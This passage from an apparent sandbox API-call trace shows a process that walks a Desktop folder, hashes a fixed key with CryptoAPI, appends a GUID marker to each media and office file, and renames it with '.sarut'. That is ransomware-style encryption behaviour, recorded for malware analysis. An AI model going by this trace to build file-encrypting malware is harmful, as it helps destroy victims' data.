halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\a4c0db hej9s3emtl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\a4C0Db hej9s3eMTL.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\a4c0db hej9s3emtl.m4a.sarut")) returned 1 [0271.593] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.593] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.594] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.594] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe70860, ftCreationTime.dwHighDateTime=0x1d4d17d, ftLastAccessTime.dwLowDateTime=0xbfad38a0, ftLastAccessTime.dwHighDateTime=0x1d4d4fa, ftLastWriteTime.dwLowDateTime=0xbfad38a0, ftLastWriteTime.dwHighDateTime=0x1d4d4fa, nFileSizeHigh=0x0, nFileSizeLow=0x16b75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AeGLUfnT 5mkX0jwT7I.avi", cAlternateFileName="AEGLUF~1.AVI")) returned 1 [0271.594] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\AeGLUfnT 5mkX0jwT7I.avi") returned=".avi" [0271.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\AeGLUfnT 5mkX0jwT7I.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\aeglufnt 5mkx0jwt7i.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.595] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93045) returned 1 [0271.595] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.598] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16b4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.598] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.600] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16b75, lpOverlapped=0x0) returned 1 [0271.601] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.601] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.601] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.601] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.602] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.602] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.602] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.602] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.602] GetLastError () returned 0x0 [0271.602] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.602] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.602] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.603] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16b75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.603] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.603] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.603] CloseHandle (hObject=0x5c4) returned 1 [0271.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\AeGLUfnT 5mkX0jwT7I.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\aeglufnt 5mkx0jwt7i.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\AeGLUfnT 5mkX0jwT7I.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\aeglufnt 5mkx0jwt7i.avi.sarut")) returned 1 [0271.609] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.609] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.610] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0bec80, ftCreationTime.dwHighDateTime=0x1d4c77b, ftLastAccessTime.dwLowDateTime=0x49b461b0, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x49b461b0, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x7ea7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blPbdb.png", cAlternateFileName="")) returned 1 [0271.610] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\blPbdb.png") returned=".png" [0271.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\blPbdb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\blpbdb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.616] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=32423) returned 1 [0271.616] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.618] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7e81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.618] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.624] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x7ea7, lpOverlapped=0x0) returned 1 [0271.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.625] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.625] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.626] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.626] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.626] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.626] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.626] GetLastError () returned 0x0 [0271.626] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.626] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.626] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7ea7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.626] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.627] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.627] CloseHandle (hObject=0x5c4) returned 1 [0271.628] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\blPbdb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\blpbdb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\blPbdb.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\blpbdb.png.sarut")) returned 1 [0271.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.629] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.630] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc056c250, ftCreationTime.dwHighDateTime=0x1d4cce7, ftLastAccessTime.dwLowDateTime=0xf87e0bc0, ftLastAccessTime.dwHighDateTime=0x1d4d57f, ftLastWriteTime.dwLowDateTime=0xf87e0bc0, ftLastWriteTime.dwHighDateTime=0x1d4d57f, nFileSizeHigh=0x0, nFileSizeLow=0xb736, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FuG6Li hHaoR.wav", cAlternateFileName="FUG6LI~1.WAV")) returned 1 [0271.630] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\FuG6Li hHaoR.wav") returned=".wav" [0271.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\FuG6Li hHaoR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\fug6li hhaor.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.631] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=46902) returned 1 [0271.631] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.634] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb710, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.634] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.636] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb736, lpOverlapped=0x0) returned 1 [0271.637] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.637] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.637] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.637] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.638] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.638] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.638] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.638] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.638] GetLastError () returned 0x0 [0271.638] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.638] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.638] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.639] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb736, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.639] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.639] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.639] CloseHandle (hObject=0x5c4) returned 1 [0271.647] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\FuG6Li hHaoR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\fug6li hhaor.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\FuG6Li hHaoR.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\fug6li hhaor.wav.sarut")) returned 1 [0271.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.647] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.648] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.648] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160bae50, ftCreationTime.dwHighDateTime=0x1d4ccdd, ftLastAccessTime.dwLowDateTime=0x77fcdd00, ftLastAccessTime.dwHighDateTime=0x1d4cee5, ftLastWriteTime.dwLowDateTime=0x77fcdd00, ftLastWriteTime.dwHighDateTime=0x1d4cee5, nFileSizeHigh=0x0, nFileSizeLow=0x981f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OaWM3OsWAcMsAPmjtMp.doc", cAlternateFileName="OAWM3O~1.DOC")) returned 1 [0271.649] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\OaWM3OsWAcMsAPmjtMp.doc") returned=".doc" [0271.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\OaWM3OsWAcMsAPmjtMp.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\oawm3oswacmsapmjtmp.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.649] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=38943) returned 1 [0271.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.651] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x97f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.654] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x981f, lpOverlapped=0x0) returned 1 [0271.655] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.655] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.655] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.655] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.656] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.656] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.656] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.656] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.656] GetLastError () returned 0x0 [0271.656] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.656] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.656] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.656] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x981f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.656] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.656] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.657] CloseHandle (hObject=0x5c4) returned 1 [0271.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\OaWM3OsWAcMsAPmjtMp.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\oawm3oswacmsapmjtmp.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\OaWM3OsWAcMsAPmjtMp.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\oawm3oswacmsapmjtmp.doc.sarut")) returned 1 [0271.661] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.661] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.662] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.662] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb224c990, ftCreationTime.dwHighDateTime=0x1d4ccd6, ftLastAccessTime.dwLowDateTime=0x2a5049b0, ftLastAccessTime.dwHighDateTime=0x1d4d292, ftLastWriteTime.dwLowDateTime=0x2a5049b0, ftLastWriteTime.dwHighDateTime=0x1d4d292, nFileSizeHigh=0x0, nFileSizeLow=0xb1fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sySoZPGd3WyY2p8FSZlL.csv", cAlternateFileName="SYSOZP~1.CSV")) returned 1 [0271.662] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\sySoZPGd3WyY2p8FSZlL.csv") returned=".csv" [0271.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\sySoZPGd3WyY2p8FSZlL.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\sysozpgd3wyy2p8fszll.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.664] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=45564) returned 1 [0271.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.666] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb1d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.666] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.667] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb1fc, lpOverlapped=0x0) returned 1 [0271.668] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.668] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.668] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.668] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.669] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.669] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.669] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.669] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.669] GetLastError () returned 0x0 [0271.669] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.669] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.670] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb1fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.670] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.670] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.670] CloseHandle (hObject=0x5c4) returned 1 [0271.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\sySoZPGd3WyY2p8FSZlL.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\sysozpgd3wyy2p8fszll.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\lTnvEEeQtMe\\sySoZPGd3WyY2p8FSZlL.csv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\ltnveeeqtme\\sysozpgd3wyy2p8fszll.csv.sarut")) returned 1 [0271.673] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.673] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.674] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.674] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146238e0, ftCreationTime.dwHighDateTime=0x1d4d484, ftLastAccessTime.dwLowDateTime=0xff90fd50, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0xff90fd50, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x2263, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8Vbr5d9qBcwJea.mp4", cAlternateFileName="V8VBR5~1.MP4")) returned 1 [0271.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 